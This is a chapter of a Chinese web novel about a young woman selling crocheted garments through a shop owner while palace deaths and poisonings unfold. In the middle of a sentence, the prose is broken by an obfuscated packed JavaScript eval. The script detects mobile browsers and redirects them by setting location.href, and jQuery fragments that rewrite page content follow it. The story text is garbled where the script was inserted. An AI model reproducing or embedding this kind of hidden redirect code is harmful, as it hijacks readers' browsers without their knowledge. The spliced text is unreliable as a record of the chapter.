从皇宫回来后,虽然叶予诺不断的告诫自己,一定要忘记那天在假山发生的事情。但是午夜梦回,她还是会再次回到那个场景,只不过在梦里,被发现的人不是那个小宫女,而是她!
血溅当场的,也是她!
也只有在梦醒之后,她才会颤抖着,重新拥有对身体的感受和支配权!
就这样,在梦境与现实不断交替中,距离春日宴,已经过去了六日!她的生活随着时间,逐渐回归到了平静。
这天,她和采莲带着这段时间新钩织好的衣服,打算送到锦绣坊。毕竟和花三娘谈好了合作,也就不用担心在采莲面前穿帮。
同时还和采莲说了,自己设计的款式得到了老板娘的认可,方便解释老板娘为什么要用她的图纸。
一路走来,途中还能看到几个女子穿着钩织的马甲或者披肩,采莲开心得不得了。还没有走到店里,隔着好几米远,就看见店里站了好几个人,看起来还挺热闹。
“三娘啊,你这衣服什么时候才能做出来啊?你上回就说这两天出新货,怎么我一来就又没了”。一位头上带着金钗的女人有些不满的抱怨道,语气强硬,势必要个说法!
“哎呀,我的好姐姐,您别生气!上次我不是留了一件儿给您吗?这不是您不太满意嘛……这次新款少、数量也少,昨天刚拿出来就卖没了!”
花三娘赔着笑脸,她有什么办法?她也很想赚这份钱好不好?但是那位来去匆匆的叶姑娘已经快十天没来了,教给她的款式只有两种,她一个人没日没夜的钩织也做不了几件啊!
“这我可不听,我都等好久了!”
“这样吧,刘姐,下一次上新是三天后,我保证、肯定给你留一件!”花三娘再三承诺,终于说动了刘姐。
“那咱们可说好了,这下一批衣服,必须给我留一件,其他姐妹都有新式衣服,就我还没有,都被人笑话我赶不上时兴了!”
刘姐见花三娘说得诚恳,也知道现在再怎么说也无济于事,她不可能变出来一件衣服给她。只好答应下一次的再来取衣服的要求!
“那是当然、那是当然”。花三娘松了口气,可算把这位大神说动了!
“哎哎!花三娘,你别光答应她,还有我的呢,我也等了好几天呢”!
“是啊是啊,我们都等了好久呢”。
眼瞅着有人提前得了承诺,其他人当然不依,都想得到同样的待遇。
“当然当然,怎么会忘记你们呢,大家都有份!”叶大小姐你快来吧!要不然我得熬死过去了!
“那,咱们就走吧!”
“好好好,几位慢走,过几天再过来啊!”
好不容易才把几人哄好,让她们高高兴兴的走出去。至此,花三娘才能松口气!
转身的途中,却无意间瞥见旁边站着的两人,顿时就像是看见了金山银山,眼睛欻的亮了。
这是采莲此刻的想法!
“阿诺妹妹啊!你可算是来了”!
经过几次见面,两人也达成了战略合作伙伴,称呼一次比一次亲密。只是叶予诺还是稍微留了个心眼,只说自己叫叶阿诺。
“小花姐好,看来你生意不错啊,就是你这气色……”
叶予诺看见对方过来,也发自内心的笑了起来,只是在看见对方眼下的黑眼圈,语气不由得变迟缓。
“嗐!别提了这个了,这都是为了生活”。
花三娘长叹一口气,自从她店里有了新式服装,店门外就时长有人走来走去,暗中观察她的衣服是怎么织出来的。更过分的,是直接到店里,借着买布的由头偷看,搞得她白天都不怎么敢拿出来钩织,只好在深夜里织!
“对了,这位是?”花三娘看见叶予诺旁边站着的人,多少有些谨慎!
“噢,她是我姐姐,阿莲。我这次来也是带她来和你认识一下,以后我没时间过来的话,就由她来送货”。
叶予诺笑着向花三娘介绍,这是她和采莲出来是就商量好的身份!
“阿莲姐,这是锦绣坊的老板娘,她比你年长,你和我一样,叫小花姐就行”。
“小花姐,这段时间谢谢你了,愿意给我小、妹妹机会!”
在采莲心里,这就是把钩织方法教给她家小姐的漂亮老板娘,果然人美心善!
“呃、好好,阿莲妹子你好”,花三娘一时没明白对方怎么这么热情,猜想或许她们之前找合作卖衣服的店铺碰了挺多壁的。
“哎呀,咱们别站在门外了,先进去吧”!
说完,花三娘有些急切的将两人拉进屋子里,顺便把店铺的门关上了一半。然后有些急切的说着
“阿诺妹妹,我、我这人向来有什么说什么,那我也不绕弯子了。阿诺,你是不是信不过我啊,所以把衣服放到别的店里去卖了?”
“嗯?没有啊,难道你见别的店里也在卖钩织的衣服?”叶予诺丈二和尚摸不着头脑,难不成古人学习能力这么快?没有图解也把衣服复刻出来了?
“这倒不是,现在衣服成了时兴,前段时间,有几个人来我店里,看着像是大户人家的丫鬟。来问我长月公主的衣服,是不是就是从我这儿买的。我后来才听说,长月公主在生辰那日穿了件月白色长衫,可谓是大放异彩”。
花三娘先是有些形容了一下那时的情景,随后又有些不解疑惑的说道,“可是,我这儿从来没有卖过月白色长衫啊!”
长月公主?说到月白色的开衫,就只有最开始时,她送给叶沄希的那件,怎么跑到公主手上了?
难怪她从来没见叶沄希穿过,原本还以为她是打算春日宴上穿。没想到是送给公主了,那么她借此换取了什么?
“噢!小花姐你误会了,在跟你合作之前,我之前的确做了一件长衫,放到别的店里去卖。但是对方事后翻脸不认人,从那以后我再没去过那儿了,跟你合作以后,更是信守约定,只把衣服送来你这里!”
叶予诺思考一下,编了个还算可取理由。一个是她不好说出自己的身份,再有就是她辛苦做的衣服,没理由不承认。
“呼!那就好,你这段时间不来,我生怕你是有了更
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326852|199134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好的选择。”把衣服送到别的店里去了!
“这种事情不会发生的”。叶予诺承诺道。
解开了误会,叶予诺和采莲便留在店里,先是把这段时间做的衣服拿出来,再说一下这些衣服要怎么搭配才更出彩。
“你放心好了,这些衣服就算是随便搭配,也有好多人要,现在已经是一衣难求了!”
花三娘边看衣服,边笑着说道,然后又从柜子里取出银两递给她。
“你们数数看,钱对不对”
“不用数小花姐,既然选择合作,我们自然是相信你的”,拿过钱袋,叶予诺也不打开,直接把钱递给采莲收起来。
接着花三娘便从这些衣服里选了几件,接过图解,学习钩织新的款式。
“唉,说起来,这几日宫里发生的事情还挺让人难过的”
勾着勾着,花三娘叹了口气,然后语气有些沉重的说着。
“嗯?发生什么事了吗?”叶予诺手中的钩针飞舞着,听闻有八卦,顿时抬起了头。
“你不知道?”花三娘一脸惊讶,这么大的事,现在满城风雨,说什么的都有,居然还有人不知道?
“我也不知道”,采莲也从一旁探过头,语气带着茫然。她们住在府上最偏僻的小院,其他人如果不是特意,连路过都不会,再加上最近她们又一直呆在房间。
“哎哟,你们难不成住在什么深山老林吗?这都不知道,”花三娘简直无语了。
“就在昨日,十皇子突然急症,薨了!”花三娘示意两人将头凑过来,又再看了看门外,然后才小声谨慎的开口。
十皇子薨了!
现在叶予诺脑子的里满是这句话,不知为何,她突然就想起了那天在假山处听到的谈话,“不出七日就能见到效”!
而今天,正是距离春日宴结束的第六天,时间这么刚好!
“阿诺,你在想什么呢?半天不答话!”花三娘手上忙着钩织,伸出脚尖碰了碰叶予诺的脚。
叶予诺回过神,见两人有些盯着自己看,意识到自己刚才思考得太过沉迷,赶紧调整好情绪,有些伤感的扯了扯嘴角。
“我只是感慨,十皇子年龄还这么小,就这么没了,她的母妃该有多难过啊!”
闻言,采莲更是伤心,眼眶中布满了泪水,才七岁,就与亲人永别了!
“唉,谁说不是呢?才七岁啊!我虽然没读多少书,但是我听说,十皇子三岁启蒙,天资聪颖,堪比当今太子殿下。真是可惜啊!”
花三娘无奈的摇了摇头,实在是天妒英才啊!
“发生的还不止这一件事呢,前日太子遇刺,中毒昏迷,现在还没有醒过来。”花三娘顿了顿,又接着说。
“这件事情还没有查出个眉目,又出了十皇子的事情,皇上震怒,衙门当差的都不好过,整日叫苦连天,你没发现吗?今天街上都安分了不少”。
确实,今天一路上走过来,混子几乎没看到,巡逻的一队接着一队。
“现在到处都在传,说这些事儿又是跟驭北王有关!”